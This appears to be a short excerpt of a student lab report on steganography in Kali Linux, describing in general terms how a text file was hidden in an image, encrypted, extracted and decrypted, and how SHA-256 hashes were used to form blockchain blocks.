* We sent a text file with an image in which we embedded the text, extracted the text
file from the steganography image, encrypted the text file, embedded encrypted
text File in image, extracted encrypted text File from image, and then decrypted
the text file. We also used the sha-256 hashing technique on an encrypted message
to create blocks for a block chain.
* Steganography is the technique of hiding secret data within an ordinary, non-
secret, file or message to avoid detection; the secret data is then extracted at its
destination. The use of steganography can be combined with encryption as an
extra step for hiding or protecting data.
RESULT:
Hence with the help of kali Linux we were able to understand steganographyin a
better way, hence have better understanding of the procedure.

11
6
11
7
11
8

You might also like